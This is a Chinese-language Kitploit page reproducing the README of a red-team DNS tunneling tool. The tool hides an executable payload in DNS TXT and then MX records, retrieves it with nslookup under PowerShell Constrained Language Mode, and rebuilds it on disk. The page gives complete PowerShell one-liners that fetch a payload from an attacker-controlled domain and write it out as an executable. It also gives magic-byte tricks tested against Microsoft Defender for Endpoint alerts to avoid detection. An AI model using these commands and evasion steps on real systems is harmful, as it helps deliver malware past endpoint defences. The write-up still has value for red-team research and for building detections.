Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
DNS_Tunneling — 使用PowerShell和Nslookup的DNS隧道工具,通过DNS TXT/MX记录泄露数据和传递载荷,绕过受限语言模式和端点防御。 | Kitploit
工具/GitHubGitHub/octoberfest7/dns_tunneling
Payload生成数据泄露渗透测试命令与控制红队DNS 分析
GitHuboctoberfest7/dns_tunneling

DNS_Tunneling

使用PowerShell和Nslookup的DNS隧道工具,通过DNS TXT/MX记录泄露数据和传递载荷,绕过受限语言模式和端点防御。

查看仓库
232374年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

介绍

受我近期参与的一个涉及 Cobalt Strike DNS 信标的工作启发,结合尝试绕过 Microsoft Defender for Endpoint 的任务目标,我花了一些时间研究如何利用 DNS 将载荷传输到目标机器。我还进一步挑战自己,尝试在 PowerShell 处于受限语言模式时也能实现这一目标。这项研究主要针对较新的 Windows 版本(例如 Windows 10+、Server 2019+),但正如你稍后所见,较低版本也可能实现。

背景

什么是 DNS 隧道?

DNS 隧道是一项历史悠久的技术,被多种攻击者使用。简单来说,它利用 DNS 协议作为数据渗透/反渗透的手段或作为 C2 通信通道。有许多博客文章可供参考,以获取更多关于此主题的信息。

由于这是一项古老且广为人知的技术,许多组织已经部署了检测方法来试图阻止它。

DNS 隧道历史上首选的 DNS 记录类型是 TXT。这是因为 TXT 记录可以比其他记录存储更多数据,并且它们区分大小写,而其他记录则不然,这在我们开始讨论编码时会产生影响。

什么是受限语言模式?

受限语言模式是 PowerShell 的一种限制性语言模式,大大降低了 PowerShell 的功能和允许的操作。简而言之,.NET、COM 对象以及攻击者常用的如 (new-object net.webclient).downloadstring 等都无法使用。此链接 提供了更多信息。组织会将其作为攻击面缩减规则的一部分,对普通用户强制执行此策略。这实际上使得我们作为攻击者的工作更加困难。

DNS 记录是什么样的?

大多数人对 DNS 应该至少有所了解,比如使用 Nslookup 等工具。但基本而言,客户端发送查询,DNS 服务器返回该查询的答案。DNS 记录有多种类型:CNAME、A、AAAA、TXT、MX 和 NS 等等。每条记录可以存储和返回不同的信息。这些记录在区域文件中配置,由 DNS 服务器提供服务。

此处提供了一个示例区域文件 链接:``` $ORIGIN example.com. @ 3600 SOA ns1.p30.dynect.net. ( zone-admin.dyndns.com. ; address of responsible party 2016072701 ; serial number 3600 ; refresh period 600 ; retry period 604800 ; expire time 1800 ) ; minimum ttl 86400 NS ns1.p30.dynect.net. 86400 NS ns2.p30.dynect.net. 86400 NS ns3.p30.dynect.net. 86400 NS ns4.p30.dynect.net. 3600 MX 10 mail.example.com. 3600 MX 20 vpn.example.com. 3600 MX 30 mail.example.com. 60 A 204.13.248.106 3600 TXT "v=spf1 includespf.dynect.net ~all" mail 14400 A 204.13.248.106 vpn 60 A 216.146.45.240 webapp 60 A 216.146.46.10 webapp 60 A 216.146.46.11 www 43200 CNAME example.com.

root@kitploit:~
如果查询example.com的NS记录,查询结果会返回ns1.p30.dynect.net、ns2.p30.dynect.net、ns3.p30.dynect.net和ns4.p30.dynect.net。

# 研究

## 域名注册

在开始之前,我们需要简要讨论如何设置DNS记录,使其指向我们控制并运行DNS服务器的IP。如下所示,我购买了一个域名,并设置了DNS记录,将子域名“dns”指向子域名“ns1”,而“ns1”被分配了服务器的公网IP。

![image](https://assets.kitploit.com/production/public/readmes/5529/bdffb5de5e760905bc821adefde45ca4dcba092639c16e201c7738aa0edda53f.png)

这意味着所有针对“dns.edu....com”的查询都会被定向到“ns1.edu....com”,而后者被分配了IP 3..86。我们将在此IP上设置DNS服务器来提供我们的记录。稍后还会用到这一点。

## 寻找客户端工具

我的探索始于一次简单的谷歌搜索“powershell dns module”,结果返回了[这个](https://docs.microsoft.com/en-us/powershell/module/dnsclient/?view=windowsserver2022-ps)链接。其中特别令人感兴趣的是Resolve-DnsName命令。它看起来基本上是众所周知的Nslookup.exe二进制文件的PowerShell实现。注意,可以请求特定类型的记录:

![image](https://assets.kitploit.com/production/public/readmes/5529/c01a63bb351225d89be6f6f4b6636406f8c7891210b3e531f7dd71f2110fdea6.png)

好的,我们有了一个能够进行DNS查询并返回答案的PowerShell模块。它能在受限语言模式(CLM)下工作吗?答案是有点复杂。

如下所示,如果我打开一个新的PowerShell窗口,运行Resolve-DnsName,然后将PowerShell置于CLM模式(并通过简单的::WriteLine调用测试),再运行Resolve-DnsName,它会正常工作:

![image](https://assets.kitploit.com/production/public/readmes/5529/195e1c1284b9826d9ef63482d2bffa9d1b9928c228f38bfab0d4c1be58327758.png)

但是,如果我打开一个新的PowerShell窗口,立即将其置于CLM模式,然后尝试运行Resolve-DnsName,它就会失败:

![image](https://assets.kitploit.com/production/public/readmes/5529/ab5eb81e47ee1cdced01753af4e141fa9d074b67f1f5b0317938ef9365444867.png)

似乎如果一个模块之前已经加载过,在CLM强制生效后它仍然能够运行,但CLM会阻止尚未加载的模块加载。考虑到目标环境中CLM默认对用户强制启用(并且不知道DnsClient是否已被预加载或属于其中之一),我决定此时放弃Resolve-DnsName,转而使用老牌的Nslookup.exe。

![image](https://assets.kitploit.com/production/public/readmes/5529/22e75abd325b04271ad418a00d9d84d53253901e93c3f2948dd827f8a121668f.png)

Nslookup.exe是IT工具包中的主力,是用于合法目的的众所周知二进制文件。即使在担心应用程序白名单的环境中,它被允许执行的可能性也很大。

Nslookup会返回与Resolve-DnsName查询类似的信息,只是到时候我们需要稍微不同地处理它。

## 将可执行文件转换为DNS记录?

好的,我们有了在受害者计算机上进行DNS查询的方法。那么,如何将我们的有效载荷以Nslookup可以检索的格式提供呢?

可执行文件当然是二进制文件,这意味着它们不可读。因此,必须将数据转换为可以放入DNS记录且Nslookup等工具可以恢复的格式。我们有很多编码选项,但主要考虑因素是:受害者机器能否仅使用本机Windows工具和在CLM中可用的功能进行解码?Base64是显而易见的常用答案。

使用Base64,我们将可执行文件转换为一个巨大的可读字符串,然后可以将其拆分成多个DNS记录,并使用Nslookup恢复。在客户端,可以使用著名的LOLBAS certutil.exe将聚合的DNS记录从Base64解码回二进制格式。

这就需要我们更多地讨论DNS记录类型。每种记录类型以特定格式存储特定信息。例如,A记录存储并返回IPV4地址(111.111.111.111)。AAAA记录返回IPV6地址,MX和NS记录返回域名,而TXT记录可以返回255个字符长的字符串。如前所述,由于记录长度和大小写敏感性,TXT记录一直是攻击者的明显选择,因为需要的记录数量更少,并且与Base64等编码兼容。

让我们看看这是什么样子。

在我们的Kali虚拟机上,我们可以对可执行文件进行Base64编码。注意使用-w 0开关,这将删除所有换行符,从而留下一行Base64文本:

![image](https://assets.kitploit.com/production/public/readmes/5529/2675c0b2f0cb7e0279b9bd39188922e2af8f97463433bd2ae37404ef97457e5e.png)

查看文件可以看到Base64:

![image](https://assets.kitploit.com/production/public/readmes/5529/b6a9296128ea5ae6568e66bf1a8507985ceb7cce710d43f8d76281886e5f2839.png)

我们现在需要将这个Base64编码的文件转换为由DNS服务器服务的DNS TXT记录。

在这个过程中我学到了几件事,在继续之前快速总结一下:

**1.** 当单个DNS查询返回多个记录时,无法保证它们会按“顺序”返回。这对我们的目的至关重要,因为我们需要从所有TXT记录中重新组合一个文件,如果顺序乱了,就无法工作。

**2.** 重复记录不会在查询中返回。例如,在我们的区域文件中如果有3个TXT记录,其中2个包含相同的信息,那么当我们查询该域名的TXT记录时,只会返回2个记录,因为只有唯一的记录会被返回。即使不考虑顺序问题,如果我们有例如大段的“AAAAA”(就像我们在Base64编码的有效载荷中那样),需要填充多个TXT记录,那么当我们查询域名的TXT记录时,即使区域文件中有多个“A”填满的TXT记录,也只会返回一个。

考虑到这些点,我们必须确保每个DNS查询只返回一个TXT记录。于是引入子域名。就像我们将“dns.edu...com”注册为“edu....com”的子域名一样,我们可以为更进一步的子域名(例如1.dns.edu....com)提供记录。我们可以根据需要创建任意多的子域名来提供所有TXT记录。

让我们看看我们的Base64编码有效载荷:

![image](https://assets.kitploit.com/production/public/readmes/5529/2afd7d53fc05fd78c30edc71db8379c76d0130f6eef0d08329499bfdeef0a554.png)

如前所述,每个TXT记录可以容纳255个字符。将413,696除以255,四舍五入后得到1,623。这是大量的TXT记录(相应地也是大量的子域名)。但这是一个起点。

我写了一个Python3脚本来读取Base64编码的有效载荷并创建区域文件:

![image](https://assets.kitploit.com/production/public/readmes/5529/38318c957ce0ad15e93350cb57eb4ac53e1a1822226e9dd7ea63332e46e22429.png)

该脚本将打开我们的Base64编码有效载荷(comp.txt),并使用“chunkstring”函数(来自Stack Overflow的一篇帖子)将文件分割成255个字符的块,然后用这些块创建TXT记录。注意,这里的IP是伪造/随机的,并不必要。

查看生成的区域文件,我们可以看到我们的TXT记录:

![image](https://assets.kitploit.com/production/public/readmes/5529/c0ff320fcd010bac47d7a9736d4bc0488591d15f89217943903ef6106d95991a.png)

注意每个TXT记录最左边的数字;这表示子域名。

创建好区域文件后,我们需要将其复制到DNS服务器并服务之。我使用了[CoreDNS](https://github.com/coredns/coredns)来实现:

![image](https://assets.kitploit.com/production/public/readmes/5529/dd79c82b16d6fcf072532d04364788d9320a29f7734d15e3ca8aa4e331d15ca6.png)

这表明我正在端口53上接受对dns.edu....com的查询。在Corefile中,我指定了上一步创建的区域文件来提供记录。为了测试记录是否有效,我们将对1.dns.edu....com的TXT记录运行nslookup:

![image](https://assets.kitploit.com/production/public/readmes/5529/cad5b0ad8bfd105ab86b792377d8ce95abb3142d78045f1067e2ca8e59703348.png)

得到我们的TXT记录!

## 攻击!

我们现在需要运行nslookup……1623次。这不太理想,但暂时我们只能这么做。我们将使用以下PowerShell单行脚本为每个子域名运行nslookup,然后只选择TXT记录($temp[5]),并逐步构建$results。最后$results被写入./temp.txt,再使用certutil将temp.txt解码为custombeacon.exe。```powershell
$results="";for($num = 1; $num -le 1623 ; $num++){$temp = nslookup -type=TXT "$num.dns.edu....com" 2> $null;$temp = $temp[5].replace("`t","").replace("`"","");$results = $results + $temp};$results > ./temp.txt;certutil -decode ./temp.txt ./custombeacon.exe

执行我们的命令后,我们在 CoreDNS 服务器上看到了所有 DNS 请求:

image

而在客户端上,我们看到 Certutil 命令执行成功:

image

我们的输出长度与原始 EXE 文件匹配(并且它成功运行)——太棒了!

image

然而我们遇到了一个问题。让我们查看评估实验室机器的 MDE 仪表板:

image

回到绘图板

这里有 5 个警报需要我们处理(忽略最顶部的两个“可疑使用 certutil.exe 解码可执行文件”,因为这是测试期间两次运行同一攻击链产生的重复项)。

1. 可疑系统网络配置发现——这与使用 'Resolve-DnsName' cmdlet 有关(该测试在出于其他原因切换到 Nslookup 之前运行)

image

2. DNS 攻击工具或活动——这与使用 TXT 记录渗透我们的数据有关

image

3. / 4. / 5. - 可疑使用 certutil.exe 解码可执行文件 / 使用离地二进制文件运行恶意代码

image

1. 可疑系统网络配置发现

我们打算忽略这个警报,因为我们将切换到 Nslookup。我们将看看它是否仍然是个问题。我不确定,但我怀疑这种警报可能会被很多组织忽略,因为它的优先级低且看起来非常容易触发。

2. DNS 攻击工具或活动

这个警报再次与使用 TXT 记录隐藏我们的 payload 有关;这并不太令人惊讶,因为 TXT 记录长期以来一直是这类活动的首选,原因充分。解决方案似乎是尝试使用其他记录类型,我们将在下一个警报中一起探索。

3. / 4. / 5. 可疑使用 certutil.exe 解码可执行文件 / 使用离地二进制文件运行恶意代码

同样不太令人惊讶的是,certutil 在解码我们的 payload 时被标记;这是一个经典技巧,任何像样的组织都应该对其发出警报。但警报的针对性很有趣;它特别指出了它被用来解码一个可执行文件。这让我思考:如果我在 Base64 编码之前修改 payload 的魔数,然后在客户端使用 certutil 解码后再次修改,会发生什么。我这里不展示细节,但这种方法确实绕过了这个警报,我能够使用 certutil 解码 Base64 payload,然后使用原生 PowerShell 功能将魔数改回 MZ,使 payload 可执行。

另辟蹊径

我决定尝试使用 MX 记录而不是 TXT 记录来隐藏 payload。这篇博客文章指出,有效 DNS 名称的最大长度是 255 个字符。``` (63 letters).(63 letters).(63 letters).(62 letters)

root@kitploit:~
由于 MX 记录返回一个域名,我应该在每个八位组中塞入相当多的数据。经过一些测试,我决定稍微缩短每条记录,每个八位组只放 50 个字符,每个 MX 记录总共 200 个字符。

然而,存在一个问题。对于 DNS 记录,只有 TXT 和 SPF(一种 TXT 记录类型)记录是区分大小写的。我们的编码语言 Base64 是区分大小写的。我花了几个小时排查这个问题,直到弄清楚,但归根结底,如果我们打算使用 Base64,就不能使用 MX 记录,因为 Nslookup 总是以小写字母返回记录,这会破坏我们的编码。

我们被迫要么寻找另一种区分大小写且与 Base64 兼容的记录类型,要么必须找到一种不同的编码语言,使得 CLM 中的 Windows/PowerShell 能够原生解码。

经过一些[研究](https://stackoverflow.com/questions/64925863/how-to-use-powershell-to-convert-hex-string-to-bin)后,我发现 PowerShell 无需使用 .NET 就能将十六进制转换为二进制:```powershell
$hex = Get-Content -Path "C:\blah\exe-bank.txt" -Raw

# split the input string by 2-character sequences and prefix '0X' each 2-hex-digit string
# casting the result to [byte[]] then recognizes this hex format directly.
[byte[]]$bytes = ($hex -split '(.{2})' -ne '' -replace '^', '0X')
[System.IO.File]::WriteAllBytes("C:\blah\exe-bank.exe", $bytes)

对上述代码稍作修改(将 [System.IO.File]... 改为 $bytes | set-content....),即可满足我们的需求。

MX 记录还有一个“优先级”值;这本质上是对域应使用哪台 MX 服务器进行优先级排序。在之前的区域文件示例中,可以看到 MX 记录域名前有 “10 20 和 30” 等数值。我们可以利用这个优先级值,为每个子域包含多条 MX 记录,并通过按优先级值排序来确保数据顺序正确。这将大幅减少调用 Nslookup 的次数,相比之前为每个子域获取单条 TXT 记录的方式更为高效。

image

如上所示,记录可能返回时顺序错乱,但利用优先级值我们可以重新排序。

为了实现这一方案,我首先编写了一个小型 Python3 脚本,将载荷转换为十六进制:

image

image

随后我修改了原始 Python3 脚本,创建包含 MX 记录而非 TXT 记录的区域文件:

image

主要区别在于:现在每次分块 200 个字符,并且每个子域分配 100 条 MX 记录;这通过变量 j 进行跟踪,其中 MX 记录中的 j 即为优先级值。第一条记录从 10 开始,每次递增 10,一直增加到 1000。当 j 达到 1010 时,重置为 10,同时 i 递增 1,其中 i 变量是每条 MX 记录中指定的子域。

该脚本生成如下所示的区域文件(显示区域文件末尾):

image

这里展示了两个子域(31.dns.edu....com 和 32.dns.edu....com)以及各自的若干条记录。记录可通过每个 MX 后的优先级值区分(31.dns.edu....com:960, 970, 980, 990, 1000;32.dns.edu....com:10, 20, 30)。

我们需要对 PowerShell 命令进行大幅修改以适应新格式。我在 PowerShell ISE 中展示了脚本并添加了注释,以便更好地解释每一步的操作,但本质上我们将执行以下步骤:

-1. 对于每个子域

--A 运行 Nslookup

--B 对于 Nslookup 返回的每条 MX 记录

---a. 仅提取我们的数据,并按 MX 优先级值排序后存入数组

--C 将每个数据字符串追加到累积的 $results 字符串中

image

然后我们需要将 $results 中的十六进制转换回二进制,再写入磁盘。这时我们将用到前面展示的 PowerShell 代码。

压缩成一行后得到以下内容:```powershell $results="";for($num = 1; $num -le 32; $num ++){$a = nslookup -type=MX "$num.dns.edu....com" 2> $null;$arr = New-Object string[] ($a.count - 3);for($i = 3; $i -le $a.count - 1; $i++){$a[$i] -match '= ?(.),' > $null;$temp = $matches[1];$a[$i] -match 'r = ?(.)' > $null;$arr[$temp/10 - 1] = $matches[1].replace(".dns.edu....com","").replace(".","");$matches = $null};Foreach($j in $arr){$results=$results + $j.replace("`n","")}};[byte[]]$bytes = ($results -split '(.{2})' -ne '' -replace '^', '0X');$bytes | set-content -encoding byte .\custombeacon.exe

root@kitploit:~
## 再来一次

让我们在MDE实验室测试机上运行PowerShell命令,看看会发生什么(我们处于CLM中,只是未显示):

![image](https://assets.kitploit.com/production/public/readmes/5529/5c6c02f45ade0f86708c0266ab8697ae39cf4a2a451b80044bc320f79d4add1b.png)

执行我们的信标(后端发生了更多魔法操作,使用了DNS信标)

![image](https://assets.kitploit.com/production/public/readmes/5529/a72f193c75d9827d742100e0d35ebf19328b04d19ea1220204aabfbf5d976d8d.png)

我们确实收到一条关于“SuspiciousFileDrop”行为的警报,但最终解决为“未发现威胁”……有待进一步探索。但所有涉及TXT记录或Certutil解码可执行文件的警报都已消失。

![image](https://assets.kitploit.com/production/public/readmes/5529/3b8d333e03f641c57b3daaa1955c54597cd0826ad64f8f588ab4b2460b38510d.png)

## 只需左移一步……

MDE不喜欢PowerShell将我们的载荷写入磁盘。这可以理解;归根结底,Nslookup从互联网上拉取了未知的可执行文件并保存到磁盘。我们该如何缓解这一问题?

我决定重新审视载荷的魔数。我的工作理论是,如果将载荷的魔数更改为例如.txt文件的魔数,并将其写入磁盘,然后将该文件读取到新变量中,再将魔数改回MZ(可执行文件),最后将其写回磁盘,那么MDE可能会被欺骗,因为导致功能可执行文件落地磁盘的I/O操作源自一个已存在于磁盘上的.txt文件,而不是从互联网上拉取的数据。

让我们试试看。

我们可以在攻击机上使用VIM打开可执行文件。注意前两个字节中的MZ头,它表明这是一个可执行文件:

![image](https://assets.kitploit.com/production/public/readmes/5529/d653911c1bbdd30be5f4fb00983067b708173367aa41ceee6a80efd7f85d9164.png)

通过输入:%!xxd,我们可以以十六进制格式编辑文件:

![image](https://assets.kitploit.com/production/public/readmes/5529/827b8179f80a7701ea7093e41343278d842c15bfdcee91395dab33d0f5356375.png)

并将前两个字节改为FF FE(UTF-16LE字节顺序标记,常见于文本文件中,参见https://en.wikipedia.org/wiki/List_of_file_signatures):

![image](https://assets.kitploit.com/production/public/readmes/5529/93f32e87c51d2f1f9cda2bc6d0f38e7d46e0da06359d904a7172b94573c97fed.png)

现在必须通过输入:%!xxd -r关闭十六进制编辑器,这将显示我们的魔数确实已被替换:

![image](https://assets.kitploit.com/production/public/readmes/5529/6ccbc576cc43630b7f0dd6c39d4af7b7b281fdd2f9d140e987fb727df25eecef.png)

然后我们可以写入并退出VIM。

我们将再次将载荷转换为十六进制,然后使用python3脚本将修改后的载荷放入MX记录中,这些记录可以在我们的DNS服务器上提供。

在客户端,我们需要修改PowerShell命令以修复魔数,使可执行文件恢复正常。如前所述,为了逃避MDE的SuspiciousFileDrop警报,我们将首先将“txt”文件写入磁盘,然后使用get-content将其读回内存。相关修改和补充到我们的PowerShell命令中的内容是:```powershell
$bytes | set-content -encoding byte .\out.txt;[byte[]]$readfile = get-content .\out.txt -encoding byte -raw;$readfile[0x00] = 0x4D;$readfile[0x01] = 0x5A;$readfile | set-content .\new.exe -encoding byte

在此命令中,我们首先将下载的有效载荷(带有 .txt 魔数字节)写入磁盘为 out.txt,然后将其读入字节数组 $readfile,之后将前两个字节分别设置为 0x4D 和 0x5A,从而恢复有效载荷的 MZ 头部。接着,将 $readfile 通过管道传递给 set-content,将功能完整的有效载荷作为 new.exe 写入磁盘。

在我们的 MDE 虚拟机中试一下(注意命令看起来有点不同,这将在下一节中说明):

image

在仪表板上呢?

image

成功!

那么 MDE 实际上看到了什么?

我们已成功通过 DNS 请求和在受限语言模式下可用的 PowerShell 命令,将有效载荷下载并恢复为功能格式。MDE 没有发出任何警报,但 MDE 实际上看到了什么?答案是:一切。

让我们看看测试机器的事件时间线,筛选涉及 PowerShell 的事件:

image

在此图中,我们看到 PowerShell 调用的几个 nslookup.exe 调用,每个都触发了 "T1016: 系统网络配置发现" 事件。此外,我们看到 "powershell.exe dropped a packed file new.exe",这指的是我们的可执行文件在魔数字节被修改后写回磁盘。这触发了几个事件 ID,其中值得注意的是 "T1027.002: 软件打包"。

通过筛选这些事件,我们或许能看出每个事件有多常见,以及我们的操作有多大概率与计算机上的正常操作噪声融为一体。

查看 T1016:

image

我们看到所有 nslookup 调用,但也看到其他进程生成的事件,例如 WaAppAgent.exe 和 WindowsAzureGuestAgent.exe。这些进程又运行了 ipconfig.exe 和 arp.exe 等。因此,多个不同的可执行文件都可以触发 T1016: 系统网络配置发现,这对我们试图保持低调来说是有利的。

查看 T1027:

image

这里的情况不太乐观。T1027.002: 文件打包的唯一事件是我们的 powershell.exe 将有效载荷写入磁盘。我不完全确定为什么这个事件会因我们的操作而触发,但我不认为这与 DNS 渗透方法有关,而更多是与将可执行文件写入磁盘有关。无论如何,这并没有产生实际的警报,只是一个记录在案的事件。

有多少记录在案的事件?正常计算机功能被归类得有多好?答案是“很多”和“不太充分”。在滚动查找 PowerShell 事件时,我遇到了这个:

image

这看起来确实可疑……发生了什么?

image

哦。只是 Windows Defender ATP 在运行 PowerShell 命令。

MDE 记录的事件数量令人难以置信。只要我们不触发实际的警报,我不太担心我们的记录操作会在主动调查中被发现,除非我们给防御者提供查找的理由。

打磨优化

我们有了一个可行的概念验证,但现在是时候完善产品了。我有三个主要目标:

  1. 自动化

  2. 可靠性

  3. 效率

自动化

我首先将两个 Python 脚本合并:一个将可执行文件转换为十六进制,另一个创建区域文件。接着,我遍历并移除了所有将填充区域文件的域名的静态引用;这些现在通过命令行参数传入。第三,我添加了创建有效载荷副本并修改魔数字节的功能;这个修改后的副本被转换为区域文件中的 MX 记录,从而消除了对 VIM 的需求。最后,Python 脚本输出 PowerShell 单行命令,其中包含正确的 nslookup 迭代次数(取决于有效载荷长度)和运行 nslookup 的域名。这个 Python 脚本已作为 "createzonefile.py" 上传。

image

可靠性

为了提高攻击的可靠性,我花了一些时间研究 Python 脚本如何创建 MX 记录。主要问题在于最后一条 MX 记录;它包含剩余的有效载荷,因为其他每条记录都填充了 200 个字符。根据这条记录剩余的数据量,我们可能最终得到一个、两个、三个或四个部分或完全填充的八位组。我发现如果后面有太多点号 ".",nslookup 将不会拉取记录,就像我们之前简单 Python 脚本中最后一条 MX 记录使用少于四个八位组时的情况(例如,记录可能是 "0000000000000000000000.000000..")。我们实现并测试了新逻辑,以确保无论有效载荷大小或最后一条 MX 记录中的数据量如何,它都能正确格式化并按预期运行。

在 Python 脚本中实现 PowerShell 单行命令是提高可靠性的又一步,因为它确保你获得正确的 nslookup 迭代次数以及在区域文件中指定的相同域名。

效率

最后一点主要围绕 PowerShell 单行命令。我希望尽可能缩短命令长度,以防需要在目标机器上手动输入。在加入替换魔数字节的脚本之前,我已经将其缩短了大约 30%。

这些节省来自几个方面:

  1. 缩短变量名。$results 变成 $o。$num 变成 $a。
  2. 使用别名。Select-substring 变成 sls。Set-content 变成 sc。
  3. 尽可能使用缩短的参数名。select-substring 的 -Allmatches 参数可以缩写为 -a,因为没有其他以 a 开头的参数。
  4. 改进正则表达式、循环逻辑和数组初始化。每个字符都很重要!

image

我相信还可以做更多,但我远非 PowerShell 高手。

最终的改进版 PowerShell 单行命令,用于恢复 MZ 魔数字节并删除临时 .txt 文件,如下所示:```powershell $o="";for($a = 1; $a -le <NUMBER_OF_SUBDOMAINS>; $a ++){$b = nslookup -type=MX "$a.<YOUR_DOMAIN_HERE>" 2> $null;$c = @($null)*($b.count - 3);for($i = 3; $i -le $b.count - 1; $i++){$d = ($b[$i] | sls -patt '(?<==\s)((\d|\w){1,50}.?){1,4}' -a).matches.Value;$c[$d[0]/10 - 1] = $d[1].replace(".","")};$c.foreach({$o = $o + $_})};[byte[]]$e = ($o -split '(.{2})' -ne '' -replace '^', '0X');$f = ".\a.txt";$e | sc -en byte $f;[byte[]]$g = gc $f -en byte -raw;$g[0x00] = 0x4D;$g[0x01] = 0x5A;$g | sc .\pay.exe -enc byte;ri $f

root@kitploit:~
# 结束语

在高度受限的环境中,使用DNS来渗透有效载荷可能是一个有吸引力的选项,因为涉及HTTP/S或更常规方法的正常方式可能不可行。在这样的环境中,下一个障碍很可能是实际执行你的有效载荷——绕过应用白名单是我未来可能会花时间深入探讨的一个主题。

感谢那些一直陪伴我到最后的读者们。在探索和开发这个话题的几天里,我确实很忙碌,也学到了一些东西,希望你们也是如此。
下载工具